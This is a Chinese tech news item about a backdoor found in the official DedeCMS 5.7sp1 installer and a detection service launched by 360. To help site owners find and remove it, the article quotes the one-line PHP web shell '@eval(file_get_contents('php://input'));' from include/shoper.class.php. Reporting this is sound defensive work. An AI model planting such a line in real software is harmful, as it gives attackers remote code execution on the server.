【IT商业新闻网讯】日前，织梦内容管理系统（DedeCMS）遭乌云漏洞平台曝光称，DedeCMS 5.7sp1官方安装包被黑客植入后门。经360安全检测平台检测，该后门确实曾一度出现在织梦官网版本中。为此，360于当天紧急推出DedeCMS后门检测服务，并已对大批中招网站发出邮件报警。
360网站安全检测平台服务网址：http://webscan.360.cn
图1：DedeCms被植入的后门代码
据悉，DedeCMS正广泛应用于众多企业网站、政府网站、高校网站及个人网站上，是国内用户量最大的PHP类CMS系统。360安全工程师分析发现，此次DedeCMS曝出的后门名为"一句话后门"，其恶意代码存在于DedeCMS购物车类文件中，凡是调用该购物车类的文件均会触发后门，从而导致整个网站甚至服务器遭黑客进一步控制。
360建议，使用DedeCMS的网站站长应立刻检测include/shoper.class.php文件中是否存在后门代码"@eval(file_get_contents('php://input'));"，如存在应删除该行代码，如不存在则证明没有该"一句话后门"。
作为开源软件，DedeCMS此次曝出后门并非个例。因为在国际上，Linux等多款着名的开源软件也曾遭黑客植入后门。不过，乌云漏洞平台公开的织梦官方邮件显示，织梦开发团队否认了产品曾被植入后门，但其官网上的DedeCMS版本在3月21日中午悄然进行了修改。
图2：测试验证PHP代码可被DedeCMS后门执行
推荐阅读
李开复在微博写道：“O2O就是(1)帮助线上用户发现和推荐消费场所，(2)为线下服务业带来线上客流，(3)可以检测效果，最好可以线上支付。美国的O2O往往是帮助已上线的商家拉顾客，但是中国线下商家一般对互联网认知和接>>>详细阅读
本文标题：DedeCMS官方版本惊曝后门 360紧急推出安全检测
地址：http://www.lgo100.com/a/guandian/yejie/20111230/161793.html
网友点评
精彩导读
科技快报
品牌展示